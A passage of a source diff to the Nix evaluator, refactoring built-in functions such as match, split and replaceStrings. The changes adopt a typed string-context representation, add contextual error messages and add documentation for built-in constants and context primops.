PathSet context; - const auto str = state.forceString(*args[1], context, pos); + NixStringContext context; + const auto str = state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.match"); std::cmatch match; if (!std::regex_match(str.begin(), str.end(), match, regex)) { @@ -3540,27 +4267,24 @@ void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v) } // the first match is the whole string - const size_t len = match.size() - 1; - state.mkList(v, len); - for (size_t i = 0; i < len; ++i) { - if (!match[i+1].matched) - (v.listElems()[i] = state.allocValue())->mkNull(); + auto list = state.buildList(match.size() - 1); + for (const auto & [i, v2] : enumerate(list)) + if (!match[i + 1].matched) + v2 = &state.vNull; else - (v.listElems()[i] = state.allocValue())->mkString(match[i + 1].str()); - } + (v2 = state.allocValue())->mkString(match[i + 1].str()); + v.mkList(list); } catch (std::regex_error & e) { if (e.code() == std::regex_constants::error_space) { // limit is _GLIBCXX_REGEX_STATE_LIMIT for libstdc++ - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("memory limit exceeded by regular expression '%s'", re), - .errPos = state.positions[pos] - })); + state.error("memory limit exceeded by regular expression '%s'", re) + .atPos(pos) + .debugThrow(); } else - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("invalid regular expression '%s'", re), - .errPos = state.positions[pos] - })); + state.error("invalid regular expression '%s'", re) + .atPos(pos) + .debugThrow(); } } @@ -3604,25 +4328,26 @@ static RegisterPrimOp primop_match({ non-matching parts interleaved by the lists of the matching groups. */ void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto re = state.forceStringNoCtx(*args[0], pos); + auto re = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.split"); try { auto regex = state.regexCache->get(re); - PathSet context; - const auto str = state.forceString(*args[1], context, pos); + NixStringContext context; + const auto str = state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.split"); auto begin = std::cregex_iterator(str.begin(), str.end(), regex); auto end = std::cregex_iterator(); // Any matches results are surrounded by non-matching results. const size_t len = std::distance(begin, end); - state.mkList(v, 2 * len + 1); + auto list = state.buildList(2 * len + 1); size_t idx = 0; if (len == 0) { - v.listElems()[idx++] = args[1]; + list[0] = args[1]; + v.mkList(list); return; } @@ -3631,40 +4356,41 @@ void prim_split(EvalState & state, const PosIdx pos, Value * * args, Value & v) auto match = *i; // Add a string for non-matched characters. - (v.listElems()[idx++] = state.allocValue())->mkString(match.prefix().str()); + (list[idx++] = state.allocValue())->mkString(match.prefix().str()); // Add a list for matched substrings. const size_t slen = match.size() - 1; - auto elem = v.listElems()[idx++] = state.allocValue(); // Start at 1, beacause the first match is the whole string. - state.mkList(*elem, slen); - for (size_t si = 0; si < slen; ++si) { + auto list2 = state.buildList(slen); + for (const auto & [si, v2] : enumerate(list2)) { if (!match[si + 1].matched) - (elem->listElems()[si] = state.allocValue())->mkNull(); + v2 = &state.vNull; else - (elem->listElems()[si] = state.allocValue())->mkString(match[si + 1].str()); + (v2 = state.allocValue())->mkString(match[si + 1].str()); } + (list[idx++] = state.allocValue())->mkList(list2); + // Add a string for non-matched suffix characters. if (idx == 2 * len) - (v.listElems()[idx++] = state.allocValue())->mkString(match.suffix().str()); + (list[idx++] = state.allocValue())->mkString(match.suffix().str()); } assert(idx == 2 * len + 1); + v.mkList(list); + } catch (std::regex_error & e) { if (e.code() == std::regex_constants::error_space) { // limit is _GLIBCXX_REGEX_STATE_LIMIT for libstdc++ - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("memory limit exceeded by regular expression '%s'", re), - .errPos = state.positions[pos] - })); + state.error("memory limit exceeded by regular expression '%s'", re) + .atPos(pos) + .debugThrow(); } else - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("invalid regular expression '%s'", re), - .errPos = state.positions[pos] - })); + state.error("invalid regular expression '%s'", re) + .atPos(pos) + .debugThrow(); } } @@ -3707,10 +4433,10 @@ static RegisterPrimOp primop_split({ static void prim_concatStringsSep(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; + NixStringContext context; - auto sep = state.forceString(*args[0], context, pos); - state.forceList(*args[1], pos); + auto sep = state.forceString(*args[0], context, pos, "while evaluating the first argument (the separator string) passed to builtins.concatStringsSep"); + state.forceList(*args[1], pos, "while evaluating the second argument (the list of strings to concat) passed to builtins.concatStringsSep"); std::string res; res.reserve((args[1]->listSize() + 32) * sep.size()); @@ -3718,7 +4444,7 @@ static void prim_concatStringsSep(EvalState & state, const PosIdx pos, Value * * for (auto elem : args[1]->listItems()) { if (first) first = false; else res += sep; - res += *state.coerceToString(pos, *elem, context); + res += *state.coerceToString(pos, *elem, context, "while evaluating one element of the list of strings to concat passed to builtins.concatStringsSep"); } v.mkString(res, context); @@ -3737,29 +4463,23 @@ static RegisterPrimOp primop_concatStringsSep({ static void prim_replaceStrings(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[0], pos); - state.forceList(*args[1], pos); + state.forceList(*args[0], pos, "while evaluating the first argument passed to builtins.replaceStrings"); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.replaceStrings"); if (args[0]->listSize() != args[1]->listSize()) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("'from' and 'to' arguments to 'replaceStrings' have different lengths"), - .errPos = state.positions[pos] - })); + state.error( + "'from' and 'to' arguments passed to builtins.replaceStrings have different lengths" + ).atPos(pos).debugThrow(); std::vector from; from.reserve(args[0]->listSize()); for (auto elem : args[0]->listItems()) - from.emplace_back(state.forceString(*elem, pos)); + from.emplace_back(state.forceString(*elem, pos, "while evaluating one of the strings to replace passed to builtins.replaceStrings")); - std::vector> to; - to.reserve(args[1]->listSize()); - for (auto elem : args[1]->listItems()) { - PathSet ctx; - auto s = state.forceString(*elem, ctx, pos); - to.emplace_back(s, std::move(ctx)); - } + std::unordered_map cache; + auto to = args[1]->listItems(); - PathSet context; - auto s = state.forceString(*args[2], context, pos); + NixStringContext context; + auto s = state.forceString(*args[2], context, pos, "while evaluating the third argument passed to builtins.replaceStrings"); std::string res; // Loops one past last character to handle the case where 'from' contains an empty string. @@ -3767,10 +4487,19 @@ static void prim_replaceStrings(EvalState & state, const PosIdx pos, Value * * a bool found = false; auto i = from.begin(); auto j = to.begin(); - for (; i != from.end(); ++i, ++j) + size_t j_index = 0; + for (; i != from.end(); ++i, ++j, ++j_index) if (s.compare(p, i->size(), *i) == 0) { found = true; - res += j->first; + auto v = cache.find(j_index); + if (v == cache.end()) { + NixStringContext ctx; + auto ts = state.forceString(**j, ctx, pos, "while evaluating one of the replacement strings passed to builtins.replaceStrings"); + v = (cache.emplace(j_index, ts)).first; + for (auto& path : ctx) + context.insert(path); + } + res += v->second; if (i->empty()) { if (p < s.size()) res += s[p]; @@ -3778,9 +4507,6 @@ static void prim_replaceStrings(EvalState & state, const PosIdx pos, Value * * a } else { p += i->size(); } - for (auto& path : j->second) - context.insert(path); - j->second.clear(); break; } if (!found) { @@ -3798,7 +4524,11 @@ static RegisterPrimOp primop_replaceStrings({ .args = {"from", "to", "s"}, .doc = R"( Given string *s*, replace every occurrence of the strings in *from* - with the corresponding string in *to*. For example, + with the corresponding string in *to*. + + The argument *to* is lazy, that is, it is only evaluated when its corresponding pattern in *from* is matched in the string *s* + + Example: ```nix builtins.replaceStrings ["oo" "a"] ["a" "i"] "foobar" @@ -3817,7 +4547,7 @@ static RegisterPrimOp primop_replaceStrings({ static void prim_parseDrvName(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto name = state.forceStringNoCtx(*args[0], pos); + auto name = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.parseDrvName"); DrvName parsed(name); auto attrs = state.buildBindings(2); attrs.alloc(state.sName).mkString(parsed.name); @@ -3841,9 +4571,10 @@ static RegisterPrimOp primop_parseDrvName({ static void prim_compareVersions(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto version1 = state.forceStringNoCtx(*args[0], pos); - auto version2 = state.forceStringNoCtx(*args[1], pos); - v.mkInt(compareVersions(version1, version2)); + auto version1 = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.compareVersions"); + auto version2 = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument passed to builtins.compareVersions"); + auto result = compareVersions(version1, version2); + v.mkInt(result < 0 ? -1 : result > 0 ? 1 : 0); } static RegisterPrimOp primop_compareVersions({ @@ -3861,7 +4592,7 @@ static RegisterPrimOp primop_compareVersions({ static void prim_splitVersion(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto version = state.forceStringNoCtx(*args[0], pos); + auto version = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.splitVersion"); auto iter = version.cbegin(); Strings components; while (iter != version.cend()) { @@ -3870,9 +4601,10 @@ static void prim_splitVersion(EvalState & state, const PosIdx pos, Value * * arg break; components.emplace_back(component); } - state.mkList(v, components.size()); + auto list = state.buildList(components.size()); for (const auto & [n, component] : enumerate(components)) - (v.listElems()[n] = state.allocValue())->mkString(std::move(component)); + (list[n] = state.allocValue())->mkString(std::move(component)); + v.mkList(list); } static RegisterPrimOp primop_splitVersion({ @@ -3895,22 +4627,10 @@ static RegisterPrimOp primop_splitVersion({ RegisterPrimOp::PrimOps * RegisterPrimOp::primOps; -RegisterPrimOp::RegisterPrimOp(std::string name, size_t arity, PrimOpFun fun) +RegisterPrimOp::RegisterPrimOp(PrimOp && primOp) { if (!primOps) primOps = new PrimOps; - primOps->push_back({ - .name = name, - .args = {}, - .arity = arity, - .fun = fun, - }); -} - - -RegisterPrimOp::RegisterPrimOp(Info && info) -{ - if (!primOps) primOps = new PrimOps; - primOps->push_back(std::move(info)); + primOps->push_back(std::move(primOp)); } @@ -3923,101 +4643,275 @@ void EvalState::createBaseEnv() /* `builtins' must be first! */ v.mkAttrs(buildBindings(128).finish()); - addConstant("builtins", v); + addConstant("builtins", v, { + .type = nAttrs, + .doc = R"( + Contains all the built-in functions and values. + + Since built-in functions were added over time, [testing for attributes](./operators.md#has-attribute) in `builtins` can be used for graceful fallback on older Nix installations: + + ```nix + # if hasContext is not available, we assume `s` has a context + if builtins ? hasContext then builtins.hasContext s else true + ``` + )", + }); v.mkBool(true); - addConstant("true", v); + addConstant("true", v, { + .type = nBool, + .doc = R"( + Primitive value. + + It can be returned by + [comparison operators](@docroot@/language/operators.md#Comparison) + and used in + [conditional expressions](@docroot@/language/syntax.md#Conditionals). + + The name `true` is not special, and can be shadowed: + + ```nix-repl + nix-repl> let true = 1; in true + 1 + ``` + )", + }); v.mkBool(false); - addConstant("false", v); + addConstant("false", v, { + .type = nBool, + .doc = R"( + Primitive value. - v.mkNull(); - addConstant("null", v); + It can be returned by + [comparison operators](@docroot@/language/operators.md#Comparison) + and used in + [conditional expressions](@docroot@/language/syntax.md#Conditionals). - if (!evalSettings.pureEval) { + The name `false` is not special, and can be shadowed: + + ```nix-repl + nix-repl> let false = 1; in false + 1 + ``` + )", + }); + + addConstant("null", &vNull, { + .type = nNull, + .doc = R"( + Primitive value. + + The name `null` is not special, and can be shadowed: + + ```nix-repl + nix-repl> let null = 1; in null + 1 + ``` + )", + }); + + if (!settings.pureEval) { v.mkInt(time(0)); - addConstant("__currentTime", v); - - v.mkString(settings.thisSystem.get()); - addConstant("__currentSystem", v); } + addConstant("__currentTime", v, { + .type = nInt, + .doc = R"( + Return the [Unix time](https://en.wikipedia.org/wiki/Unix_time) at first evaluation. + Repeated references to that name will re-use the initially obtained value. + + Example: + + ```console + $ nix repl + Welcome to Nix 2.15.1 Type :? for help. + + nix-repl> builtins.currentTime + 1683705525 + + nix-repl> builtins.currentTime + 1683705525 + ``` + + The [store path](@docroot@/store/store-path.md) of a derivation depending on `currentTime` will differ for each evaluation, unless both evaluate `builtins.currentTime` in the same second. + )", + .impureOnly = true, + }); + + if (!settings.pureEval) + v.mkString(settings.getCurrentSystem()); + addConstant("__currentSystem", v, { + .type = nString, + .doc = R"( + The value of the + [`eval-system`](@docroot@/command-ref/conf-file.md#conf-eval-system) + or else + [`system`](@docroot@/command-ref/conf-file.md#conf-system) + configuration option. + + It can be used to set the `system` attribute for [`builtins.derivation`](@docroot@/language/derivations.md) such that the resulting derivation can be built on the same system that evaluates the Nix expression: + + ```nix + builtins.derivation { + # ... + system = builtins.currentSystem; + } + ``` + + It can be overridden in order to create derivations for different system than the current one: + + ```console + $ nix-instantiate --system "mips64-linux" --eval --expr 'builtins.currentSystem' + "mips64-linux" + ``` + )", + .impureOnly = true, + }); v.mkString(nixVersion); - addConstant("__nixVersion", v); + addConstant("__nixVersion", v, { + .type = nString, + .doc = R"( + The version of Nix. + + For example, where the command line returns the current Nix version, + + ```shell-session + $ nix --version + nix (Nix) 2.16.0 + ``` + + the Nix language evaluator returns the same value: + + ```nix-repl + nix-repl> builtins.nixVersion + "2.16.0" + ``` + )", + }); v.mkString(store->storeDir); - addConstant("__storeDir", v); + addConstant("__storeDir", v, { + .type = nString, + .doc = R"( + Logical file system location of the [Nix store](@docroot@/glossary.md#gloss-store) currently in use. + + This value is determined by the `store` parameter in [Store URLs](@docroot@/store/types/index.md#store-url-format): + + ```shell-session + $ nix-instantiate --store 'dummy://?store=/blah' --eval --expr builtins.storeDir + "/blah" + ``` + )", + }); /* Language version. This should be increased every time a new language feature gets added. It's not necessary to increase it when primops get added, because you can just use `builtins ? primOp' to check. */ v.mkInt(6); - addConstant("__langVersion", v); + addConstant("__langVersion", v, { + .type = nInt, + .doc = R"( + The current version of the Nix language. + )", + }); +#ifndef _WIN32 // TODO implement on Windows // Miscellaneous - if (evalSettings.enableNativeCode) { - addPrimOp("__importNative", 2, prim_importNative); - addPrimOp("__exec", 1, prim_exec); + if (settings.enableNativeCode) { + addPrimOp({ + .name = "__importNative", + .arity = 2, + .fun = prim_importNative, + }); + addPrimOp({ + .name = "__exec", + .arity = 1, + .fun = prim_exec, + }); } +#endif addPrimOp({ - .fun = evalSettings.traceVerbose ? prim_trace : prim_second, - .arity = 2, .name = "__traceVerbose", .args = { "e1", "e2" }, + .arity = 2, .doc = R"( Evaluate *e1* and print its abstract syntax representation on standard error if `--trace-verbose` is enabled. Then return *e2*. This function is useful for debugging. )", + .fun = settings.traceVerbose ? prim_trace : prim_second, }); /* Add a value containing the current Nix expression search path. */ - mkList(v, searchPath.size()); - int n = 0; - for (auto & i : searchPath) { + auto list = buildList(lookupPath.elements.size()); + for (const auto & [n, i] : enumerate(lookupPath.elements)) { auto attrs = buildBindings(2); - attrs.alloc("path").mkString(i.second); - attrs.alloc("prefix").mkString(i.first); - (v.listElems()[n++] = allocValue())->mkAttrs(attrs); + attrs.alloc("path").mkString(i.path.s); + attrs.alloc("prefix").mkString(i.prefix.s); + (list[n] = allocValue())->mkAttrs(attrs); } - addConstant("__nixPath", v); + v.mkList(list); + addConstant("__nixPath", v, { + .type = nList, + .doc = R"( + A list of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). + Its value is primarily determined by the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path), which are + - Overridden by the [`NIX_PATH`](@docroot@/command-ref/env-common.md#env-NIX_PATH) environment variable or the `--nix-path` option + - Extended by the [`-I` option](@docroot@/command-ref/opt-common.md#opt-I) or `--extra-nix-path` + + > **Example** + > + > ```bash + > $ NIX_PATH= nix-instantiate --eval --expr "builtins.nixPath" -I foo=bar --no-pure-eval + > [ { path = "bar"; prefix = "foo"; } ] + > ``` + + Lookup path expressions are [desugared](https://en.wikipedia.org/wiki/Syntactic_sugar) using this and + [`builtins.findFile`](./builtins.html#builtins-findFile): + + ```nix + + ``` + + is equivalent to: + + ```nix + builtins.findFile builtins.nixPath "nixpkgs" + ``` + )", + }); if (RegisterPrimOp::primOps) for (auto & primOp : *RegisterPrimOp::primOps) - if (!primOp.experimentalFeature - || settings.isExperimentalFeatureEnabled(*primOp.experimentalFeature)) + if (experimentalFeatureSettings.isEnabled(primOp.experimentalFeature)) { - addPrimOp({ - .fun = primOp.fun, - .arity = std::max(primOp.args.size(), primOp.arity), - .name = primOp.name, - .args = primOp.args, - .doc = primOp.doc, - }); + auto primOpAdjusted = primOp; + primOpAdjusted.arity = std::max(primOp.args.size(), primOp.arity); + addPrimOp(std::move(primOpAdjusted)); } /* Add a wrapper around the derivation primop that computes the - `drvPath' and `outPath' attributes lazily. */ - sDerivationNix = symbols.create(derivationNixPath); + `drvPath' and `outPath' attributes lazily. + + Null docs because it is documented separately. + */ auto vDerivation = allocValue(); - addConstant("derivation", vDerivation); + addConstant("derivation", vDerivation, { + .type = nFunction, + }); /* Now that we've added all primops, sort the `builtins' set, because attribute lookups expect it to be sorted. */ - baseEnv.values[0]->attrs->sort(); + baseEnv.values[0]->payload.attrs->sort(); staticBaseEnv->sort(); /* Note: we have to initialize the 'derivation' constant *after* building baseEnv/staticBaseEnv because it uses 'builtins'. */ - char code[] = - #include "primops/derivation.nix.gen.hh" - // the parser needs two NUL bytes as terminators; one of them - // is implied by being a C string. - "\0"; - eval(parse(code, sizeof(code), derivationNixPath, "/", staticBaseEnv), *vDerivation); + evalFile(derivationInternal, *vDerivation); } diff --git a/src/libexpr/primops.hh b/src/libexpr/primops.hh index 1cfb4356b..9f76975db 100644 --- a/src/libexpr/primops.hh +++ b/src/libexpr/primops.hh @@ -1,4 +1,5 @@ #pragma once +///@file #include "eval.hh" @@ -7,40 +8,49 @@ namespace nix { +/** + * For functions where we do not expect deep recursion, we can use a sizable + * part of the stack a free allocation space. + * + * Note: this is expected to be multiplied by sizeof(Value), or about 24 bytes. + */ +constexpr size_t nonRecursiveStackReservation = 128; + +/** + * Functions that maybe applied to self-similar inputs, such as concatMap on a + * tree, should reserve a smaller part of the stack for allocation. + * + * Note: this is expected to be multiplied by sizeof(Value), or about 24 bytes. + */ +constexpr size_t conservativeStackReservation = 16; + struct RegisterPrimOp { - struct Info - { - std::string name; - std::vector args; - size_t arity = 0; - const char * doc; - PrimOpFun fun; - std::optional experimentalFeature; - }; - - typedef std::vector PrimOps; + typedef std::vector PrimOps; static PrimOps * primOps; - /* You can register a constant by passing an arity of 0. fun - will get called during EvalState initialization, so there - may be primops not yet added and builtins is not yet sorted. */ - RegisterPrimOp( - std::string name, - size_t arity, - PrimOpFun fun); - - RegisterPrimOp(Info && info); + /** + * You can register a constant by passing an arity of 0. fun + * will get called during EvalState initialization, so there + * may be primops not yet added and builtins is not yet sorted. + */ + RegisterPrimOp(PrimOp && primOp); }; /* These primops are disabled without enableNativeCode, but plugins may wish to use them in limited contexts without globally enabling them. */ -/* Load a ValueInitializer from a DSO and return whatever it initializes */ +/** + * Load a ValueInitializer from a DSO and return whatever it initializes + */ void prim_importNative(EvalState & state, const PosIdx pos, Value * * args, Value & v); -/* Execute a program and parse its output */ +/** + * Execute a program and parse its output + */ void prim_exec(EvalState & state, const PosIdx pos, Value * * args, Value & v); +void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value & column); + } diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 979136984..8c3f1b4e8 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -7,43 +7,158 @@ namespace nix { static void prim_unsafeDiscardStringContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto s = state.coerceToString(pos, *args[0], context); + NixStringContext context; + auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.unsafeDiscardStringContext"); v.mkString(*s); } -static RegisterPrimOp primop_unsafeDiscardStringContext("__unsafeDiscardStringContext", 1, prim_unsafeDiscardStringContext); +static RegisterPrimOp primop_unsafeDiscardStringContext({ + .name = "__unsafeDiscardStringContext", + .args = {"s"}, + .doc = R"( + Discard the [string context](@docroot@/language/string-context.md) from a value that can be coerced to a string. + )", + .fun = prim_unsafeDiscardStringContext, +}); static void prim_hasContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - state.forceString(*args[0], context, pos); + NixStringContext context; + state.forceString(*args[0], context, pos, "while evaluating the argument passed to builtins.hasContext"); v.mkBool(!context.empty()); } -static RegisterPrimOp primop_hasContext("__hasContext", 1, prim_hasContext); +static RegisterPrimOp primop_hasContext({ + .name = "__hasContext", + .args = {"s"}, + .doc = R"( + Return `true` if string *s* has a non-empty context. + The context can be obtained with + [`getContext`](#builtins-getContext). + + > **Example** + > + > Many operations require a string context to be empty because they are intended only to work with "regular" strings, and also to help users avoid unintentionally loosing track of string context elements. + > `builtins.hasContext` can help create better domain-specific errors in those case. + > + > ```nix + > name: meta: + > + > if builtins.hasContext name + > then throw "package name cannot contain string context" + > else { ${name} = meta; } + > ``` + )", + .fun = prim_hasContext +}); -/* Sometimes we want to pass a derivation path (i.e. pkg.drvPath) to a - builder without causing the derivation to be built (for instance, - in the derivation that builds NARs in nix-push, when doing - source-only deployment). This primop marks the string context so - that builtins.derivation adds the path to drv.inputSrcs rather than - drv.inputDrvs. */ static void prim_unsafeDiscardOutputDependency(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto s = state.coerceToString(pos, *args[0], context); + NixStringContext context; + auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.unsafeDiscardOutputDependency"); - PathSet context2; - for (auto & p : context) - context2.insert(p.at(0) == '=' ? std::string(p, 1) : p); + NixStringContext context2; + for (auto && c : context) { + if (auto * ptr = std::get_if(&c.raw)) { + context2.emplace(NixStringContextElem::Opaque { + .path = ptr->drvPath + }); + } else { + /* Can reuse original item */ + context2.emplace(std::move(c).raw); + } + } v.mkString(*s, context2); } -static RegisterPrimOp primop_unsafeDiscardOutputDependency("__unsafeDiscardOutputDependency", 1, prim_unsafeDiscardOutputDependency); +static RegisterPrimOp primop_unsafeDiscardOutputDependency({ + .name = "__unsafeDiscardOutputDependency", + .args = {"s"}, + .doc = R"( + Create a copy of the given string where every + [derivation deep](@docroot@/language/string-context.md#string-context-element-derivation-deep) + string context element is turned into a + [constant](@docroot@/language/string-context.md#string-context-element-constant) + string context element. + + This is the opposite of [`builtins.addDrvOutputDependencies`](#builtins-addDrvOutputDependencies). + + This is unsafe because it allows us to "forget" store objects we would have otherwise refered to with the string context, + whereas Nix normally tracks all dependencies consistently. + Safe operations "grow" but never "shrink" string contexts. + [`builtins.addDrvOutputDependencies`] in contrast is safe because "derivation deep" string context element always refers to the underlying derivation (among many more things). + Replacing a constant string context element with a "derivation deep" element is a safe operation that just enlargens the string context without forgetting anything. + + [`builtins.addDrvOutputDependencies`]: #builtins-addDrvOutputDependencies + )", + .fun = prim_unsafeDiscardOutputDependency +}); + + +static void prim_addDrvOutputDependencies(EvalState & state, const PosIdx pos, Value * * args, Value & v) +{ + NixStringContext context; + auto s = state.coerceToString(pos, *args[0], context, "while evaluating the argument passed to builtins.addDrvOutputDependencies"); + + auto contextSize = context.size(); + if (contextSize != 1) { + state.error( + "context of string '%s' must have exactly one element, but has %d", + *s, + contextSize + ).atPos(pos).debugThrow(); + } + NixStringContext context2 { + (NixStringContextElem { std::visit(overloaded { + [&](const NixStringContextElem::Opaque & c) -> NixStringContextElem::DrvDeep { + if (!c.path.isDerivation()) { + state.error( + "path '%s' is not a derivation", + state.store->printStorePath(c.path) + ).atPos(pos).debugThrow(); + } + return NixStringContextElem::DrvDeep { + .drvPath = c.path, + }; + }, + [&](const NixStringContextElem::Built & c) -> NixStringContextElem::DrvDeep { + state.error( + "`addDrvOutputDependencies` can only act on derivations, not on a derivation output such as '%1%'", + c.output + ).atPos(pos).debugThrow(); + }, + [&](const NixStringContextElem::DrvDeep & c) -> NixStringContextElem::DrvDeep { + /* Reuse original item because we want this to be idempotent. */ + return std::move(c); + }, + }, context.begin()->raw) }), + }; + + v.mkString(*s, context2); +} + +static RegisterPrimOp primop_addDrvOutputDependencies({ + .name = "__addDrvOutputDependencies", + .args = {"s"}, + .doc = R"( + Create a copy of the given string where a single + [constant](@docroot@/language/string-context.md#string-context-element-constant) + string context element is turned into a + [derivation deep](@docroot@/language/string-context.md#string-context-element-derivation-deep) + string context element. + + The store path that is the constant string context element should point to a valid derivation, and end in `.drv`. + + The original string context element must not be empty or have multiple elements, and it must not have any other type of element other than a constant or derivation deep element. + The latter is supported so this function is idempotent. + + This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-unsafeDiscardOutputDependency). + )", + .fun = prim_addDrvOutputDependencies +}); /* Extract the context of a string as a structured Nix value. @@ -72,36 +187,24 @@ static void prim_getContext(EvalState & state, const PosIdx pos, Value * * args, bool allOutputs = false; Strings outputs; }; - PathSet context; - state.forceString(*args[0], context, pos); - auto contextInfos = std::map(); - for (const auto & p : context) { - Path drv; - std::string output; - const Path * path = &p; - if (p.at(0) == '=') { - drv = std::string(p, 1); - path = &drv; - } else if (p.at(0) == '!') { - NixStringContextElem ctx = decodeContext(*state.store, p); - drv = state.store->printStorePath(ctx.first); - output = ctx.second; - path = &drv; - } - auto isPath = drv.empty(); - auto isAllOutputs = (!drv.empty()) && output.empty(); - - auto iter = contextInfos.find(*path); - if (iter == contextInfos.end()) { - contextInfos.emplace(*path, ContextInfo{isPath, isAllOutputs, output.empty() ? Strings{} : Strings{std::move(output)}}); - } else { - if (isPath) - iter->second.path = true; - else if (isAllOutputs) - iter->second.allOutputs = true; - else - iter->second.outputs.emplace_back(std::move(output)); - } + NixStringContext context; + state.forceString(*args[0], context, pos, "while evaluating the argument passed to builtins.getContext"); + auto contextInfos = std::map(); + for (auto && i : context) { + std::visit(overloaded { + [&](NixStringContextElem::DrvDeep && d) { + contextInfos[std::move(d.drvPath)].allOutputs = true; + }, + [&](NixStringContextElem::Built && b) { + // FIXME should eventually show string context as is, no + // resolving here. + auto drvPath = resolveDerivedPath(*state.store, *b.drvPath); + contextInfos[std::move(drvPath)].outputs.emplace_back(std::move(b.output)); + }, + [&](NixStringContextElem::Opaque && o) { + contextInfos[std::move(o.path)].path = true; + }, + }, ((NixStringContextElem &&) i).raw); } auto attrs = state.buildBindings(contextInfos.size()); @@ -115,75 +218,104 @@ static void prim_getContext(EvalState & state, const PosIdx pos, Value * * args, if (info.second.allOutputs) infoAttrs.alloc(sAllOutputs).mkBool(true); if (!info.second.outputs.empty()) { - auto & outputsVal = infoAttrs.alloc(state.sOutputs); - state.mkList(outputsVal, info.second.outputs.size()); + auto list = state.buildList(info.second.outputs.size()); for (const auto & [i, output] : enumerate(info.second.outputs)) - (outputsVal.listElems()[i] = state.allocValue())->mkString(output); + (list[i] = state.allocValue())->mkString(output); + infoAttrs.alloc(state.sOutputs).mkList(list); } - attrs.alloc(info.first).mkAttrs(infoAttrs); + attrs.alloc(state.store->printStorePath(info.first)).mkAttrs(infoAttrs); } v.mkAttrs(attrs); } -static RegisterPrimOp primop_getContext("__getContext", 1, prim_getContext); +static RegisterPrimOp primop_getContext({ + .name = "__getContext", + .args = {"s"}, + .doc = R"( + Return the string context of *s*. + + The string context tracks references to derivations within a string. + It is represented as an attribute set of [store derivation](@docroot@/glossary.md#gloss-store-derivation) paths mapping to output names. + + Using [string interpolation](@docroot@/language/string-interpolation.md) on a derivation will add that derivation to the string context. + For example, + + ```nix + builtins.getContext "${derivation { name = "a"; builder = "b"; system = "c"; }}" + ``` + + evaluates to + + ``` + { "/nix/store/arhvjaf6zmlyn8vh8fgn55rpwnxq0n7l-a.drv" = { outputs = [ "out" ]; }; } + ``` + )", + .fun = prim_getContext +}); /* Append the given context to a given string. - See the commentary above unsafeGetContext for details of the + See the commentary above getContext for details of the context representation. */ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - auto orig = state.forceString(*args[0], context, pos); + NixStringContext context; + auto orig = state.forceString(*args[0], context, noPos, "while evaluating the first argument passed to builtins.appendContext"); - state.forceAttrs(*args[1], pos); + state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.appendContext"); auto sPath = state.symbols.create("path"); auto sAllOutputs = state.symbols.create("allOutputs"); - for (auto & i : *args[1]->attrs) { + for (auto & i : *args[1]->attrs()) { const auto & name = state.symbols[i.name]; if (!state.store->isStorePath(name)) - throw EvalError({ - .msg = hintfmt("Context key '%s' is not a store path", name), - .errPos = state.positions[i.pos] - }); + state.error( + "context key '%s' is not a store path", + name + ).atPos(i.pos).debugThrow(); + auto namePath = state.store->parseStorePath(name); if (!settings.readOnlyMode) - state.store->ensurePath(state.store->parseStorePath(name)); - state.forceAttrs(*i.value, i.pos); - auto iter = i.value->attrs->find(sPath); - if (iter != i.value->attrs->end()) { - if (state.forceBool(*iter->value, iter->pos)) - context.emplace(name); + state.store->ensurePath(namePath); + state.forceAttrs(*i.value, i.pos, "while evaluating the value of a string context"); + + if (auto attr = i.value->attrs()->get(sPath)) { + if (state.forceBool(*attr->value, attr->pos, "while evaluating the `path` attribute of a string context")) + context.emplace(NixStringContextElem::Opaque { + .path = namePath, + }); } - iter = i.value->attrs->find(sAllOutputs); - if (iter != i.value->attrs->end()) { - if (state.forceBool(*iter->value, iter->pos)) { + if (auto attr = i.value->attrs()->get(sAllOutputs)) { + if (state.forceBool(*attr->value, attr->pos, "while evaluating the `allOutputs` attribute of a string context")) { if (!isDerivation(name)) { - throw EvalError({ - .msg = hintfmt("Tried to add all-outputs context of %s, which is not a derivation, to a string", name), - .errPos = state.positions[i.pos] - }); + state.error( + "tried to add all-outputs context of %s, which is not a derivation, to a string", + name + ).atPos(i.pos).debugThrow(); } - context.insert(concatStrings("=", name)); - } - } - - iter = i.value->attrs->find(state.sOutputs); - if (iter != i.value->attrs->end()) { - state.forceList(*iter->value, iter->pos); - if (iter->value->listSize() && !isDerivation(name)) { - throw EvalError({ - .msg = hintfmt("Tried to add derivation output context of %s, which is not a derivation, to a string", name), - .errPos = state.positions[i.pos] + 